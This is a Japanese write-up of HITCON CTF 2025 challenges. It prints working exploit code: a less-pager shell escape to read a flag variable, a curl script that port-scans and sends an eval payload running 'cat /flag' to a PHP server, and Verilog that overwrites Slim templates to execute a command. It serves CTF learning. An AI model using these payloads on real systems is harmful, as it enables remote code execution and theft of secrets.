概要と感想
HITCON CTF 2025の体験記。
先に感想を書くと、scriptCTFに比べてサクッと解ける問題が少なく、難しく感じた。
solveされている数が多い問題は何とかなるだろう、と目処をつけて挑んだ結果、3問解けて58位(717チーム中)。
git-playground
gitを自由に使えるサンドボックスが与えられ、その環境変数にflagがあると分かっている。
使えるコマンドはある程度限られており、あからさまにshをとるようなコマンドは実行できない。
git logではpagerとしてlessが起動されるが、その中で!を使うとシェルが実行できる。
pagerの中で!echo $FLAG
をするとflagが得られる。
LESSSECURE=1 と環境変数に設定すると ! によるシェル脱獄が抑制される。
No Man's Echo
下記のようなPHPが動いているWebサイトがある。
中身の概要としては、該当WebサイトのinternalなIPに対して、probe
というクエリパラメータで受け取った自然数周辺のportで通信を送る、といったもの。
もし該当のportが空いていれば、(bodyで受け取ったjsonのsignal
がArrival
の時に限り、)logogram
の値をevalで実行する。
また、サーバーの/flag
にflagを記されたファイルがある。
<?php
$probe = (int)@$_GET['probe'];
$range = range($probe, $probe + 42);
shuffle($range);
foreach ($range as $k => $port) {
$target = sprintf("tcp://%s:%d", $_SERVER['SERVER_ADDR'], $port);
$fp = @stream_socket_client($target, $errno, $errstr, 1);
if (!$fp) continue;
stream_set_timeout($fp, 1);
fwrite($fp, file_get_contents("php://input"));
$data = fgets($fp);
if (strlen($data) > 0) {
$data = json_decode($data);
if (isset($data->signal) && $data->signal == 'Arrival')
eval($data->logogram);
fclose($fp);
exit(-1);
}
}
highlight_file(__FILE__);
ポートを虱潰しにするようにcurlしたらflagを取得できた。
URL='http://no-mans-echo.chal.hitconctf.com/'
MAG='__HIT__' # 目印
payload='{"signal":"Arrival","logogram":"echo \"__HIT__\\n\"; system('\''cat /flag'\'');"}'
export URL MAG payload
# 並列で 43 窓スキャン(全ポート網羅)
seq 1 43 65535 | xargs -n1 -P16 -I{} sh -c '
out="$(curl -m2 -sS -X POST "$URL?probe={}" --data-binary "$payload"$'\''\n'\'')"
if printf "%s" "$out" | grep -q "^$MAG"; then
echo ">>> HIT probe={}"
printf "%s\n" "$out" | sed -n "1,10p" # 先頭10行だけ出す等、お好みで
fi
'
Verilog OJ
デジタル回路の構造や動作を記述するための言語であるVerilogが題材となっている。
Verilogのコードを提出して、それをjudgeするサイトが渡される。(実装はRuby/Roda。presentation部分はslimを利用)
該当のサイトには/flag
にflagが記述されていて、/readflag
という実行ファイルを /readflag give me the flag
のように実行すればflagが出力される。
$systemを使う(失敗)
まず、verilogの $system を利用して、$system("/flag > /app/app/presentation/public/f.txt");
のようにして到達できる位置にflagを書き出すことができるか試みた。
module Crossbar_2x2_4bit(
input [3:0] in1, in2,
input control,
output [3:0] out1, out2
);
// 何でもOK
assign out1 = control ? in1 : in2;
assign out2 = control ? in2 : in1;
integer rc;
initial begin
// 公開ディレクトリに書き出す(絶対パスでも相対パスでもOK)
rc = $system("/flag > /app/app/presentation/public/f.txt");
// 判定は最後の1行だけ見るので自分で Passed を出して終了
$display("Passed");
$finish;
end
endmodule
これは、$system
が無効となっており失敗した。
(下記、実装をいじって出したログ)
oj-1 | Judge output: judge: Program not runnable, 1 errors.
oj-1 | Judge error: module.v:13: Error: System task/function $system() is not defined by any module.
oj-1 | Judge status: 1
Slimテンプレートを書き換える(成功)
fdisplay(fd, string)
を利用してSlimテンプレートファイルを書き換え、$fdisplay(fd, " =
/readflag give me the flag");
のようにしてSlimがRuby式(/readflag give me the flag
)を評価するようにしたらflagを取得できた。
(下記蛇足もあるが、これを提出すればflagを取得できた)
module Crossbar_2x2_4bit(
input [3:0] in1, in2,
input control,
output [3:0] out1, out2
);
assign out1 = control ? in1 : in2;
assign out2 = control ? in2 : in1;
integer fd;
initial begin
// マーカー(書き込み確認用)
fd = $fopen("/app/app/presentation/public/marker.txt", "w");
$fdisplay(fd, "marker ok");
$fclose(fd);
// 1) submission 詳細ページのテンプレ(未表示ならチャンス大)
fd = $fopen("/app/app/presentation/views/submission.slim", "w");
$fdisplay(fd, "h1 PWN submission");
$fdisplay(fd, "pre");
$fdisplay(fd, " = `/readflag give me the flag`");
$fclose(fd);
// 2) problems 一覧(まだ誰も見てなければ)
fd = $fopen("/app/app/presentation/views/problems.slim", "w");
$fdisplay(fd, "h1 PWN problems");
$fdisplay(fd, "pre");
$fdisplay(fd, " = `/readflag give me the flag`");
$fclose(fd);
// 3) problem 詳細(未キャッシュなら)
fd = $fopen("/app/app/presentation/views/problem.slim", "w");
$fdisplay(fd, "h1 PWN problem");
$fdisplay(fd, "pre");
$fdisplay(fd, " = `/readflag give me the flag`");
$fclose(fd);
// 4) submissions 一覧(未キャッシュなら)
fd = $fopen("/app/app/presentation/views/submissions.slim", "w");
$fdisplay(fd, "h1 PWN submissions");
$fdisplay(fd, "pre");
$fdisplay(fd, " = `/readflag give me the flag`");
$fclose(fd);
// 採点は最後の行のみ見るので念のため
$display("Passed");
$finish;
end
endmodule
ここから解けなかった問題
wp-admin
WordPressで構築されたサイトが提供される。
そのサーバーの中に readfile なる実行ファイルがあり、それを実行できればおそらくflagが取得できる。
adminにはなれるのだが、ここからどうすれば良いのかわからず断念。
典型的な問題だとテーマプラグインにコードを書いてflagを得られそうだが、今回はテーマファイルなどをいじれないように設定されている。(chmod -R 555 . してる)
(writeup見たら追記する。)